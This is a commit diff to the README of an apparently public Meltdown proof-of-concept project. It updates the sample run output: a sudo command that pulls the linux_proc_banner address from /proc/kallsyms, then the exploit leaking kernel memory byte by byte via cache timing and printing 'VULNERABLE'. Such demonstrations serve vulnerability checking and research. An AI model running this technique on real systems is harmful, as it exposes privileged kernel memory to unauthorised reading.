update readme for new run.sh

Signed-off-by: Pavel Boldin <boldin.pavel@gmail.com>

Author: paboldin

README.md

@@ -22,33 +22,56 @@ Pandora's box is open.
 Result:
 ```
 $ make
-cc -O0   -c -o meltdown.o meltdown.c
+cc -O2 -msse2   -c -o meltdown.o meltdown.c
 cc   meltdown.o   -o meltdown
 $ ./run.sh 
-+ sudo awk /linux_proc_banner/ { print $1 } /proc/kallsyms
-+ ./meltdown ffffffffa3e000a0 16
-ffffffffa3e000a0 = %
-ffffffffa3e000a1 = s
-ffffffffa3e000a2 =  
-ffffffffa3e000a3 = v
-ffffffffa3e000a4 = e
-ffffffffa3e000a5 = r
-ffffffffa3e000a6 = s
-ffffffffa3e000a7 = )
-ffffffffa3e000a8 = o
-ffffffffa3e000a9 = f
-ffffffffa3e000aa =  
-ffffffffa3e000ab = 
-ffffffffa3e000ac = s
-ffffffffa3e000ad =  
-ffffffffa3e000ae = (
-ffffffffa3e000af = b
-ffffffffa3e000b0 = U
-ffffffffa3e000b1 = i
-ffffffffa3e000b2 = l
-ffffffffa3e000b3 = d
-ffffffffa3e000b4 = d
-ffffffffa3e000b5 = @
+looking for linux_proc_banner in /proc/kallsyms
+protected. requires root
++ find_linux_proc_banner /proc/kallsyms sudo
++ sudo awk 
+	/linux_proc_banner/ {
+		if (strtonum("0x"$1))
+			print $1;
+		exit 0;
+	} /proc/kallsyms
++ linux_proc_banner=ffffffffa3e000a0
++ set +x
+cached = 29, uncached = 271, threshold 88
+read ffffffffa3e000a0 = 25 %
+read ffffffffa3e000a1 = 73 s
+read ffffffffa3e000a2 = 20  
+read ffffffffa3e000a3 = 76 v
+read ffffffffa3e000a4 = 65 e
+read ffffffffa3e000a5 = 72 r
+read ffffffffa3e000a6 = 73 s
+read ffffffffa3e000a7 = 69 i
+read ffffffffa3e000a8 = 6f o
+read ffffffffa3e000a9 = 6e n
+read ffffffffa3e000aa = 20  
+read ffffffffa3e000ab = 25 %
+read ffffffffa3e000ac = 73 s
+read ffffffffa3e000ad = 20  
+read ffffffffa3e000ae = 28 (
+read ffffffffa3e000af = 62 b
+read ffffffffa3e000b0 = 75 u
+read ffffffffa3e000b1 = 69 i
+read ffffffffa3e000b2 = 6c l
+read ffffffffa3e000b3 = 64 d
+read ffffffffa3e000b4 = 64 d
+read ffffffffa3e000b5 = 40 @
+VULNERABLE
+VULNERABLE ON
+4.10.0-42-generic #46~16.04.1-Ubuntu SMP Mon Dec 4 15:57:59 UTC 2017 x86_64
+processor	: 0
+vendor_id	: GenuineIntel
+cpu family	: 6
+model		: 158
+model name	: Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
+stepping	: 9
+microcode	: 0x5e
+cpu MHz		: 3499.316
+cache size	: 6144 KB
+physical id	: 0
 ```
 
 # Does not work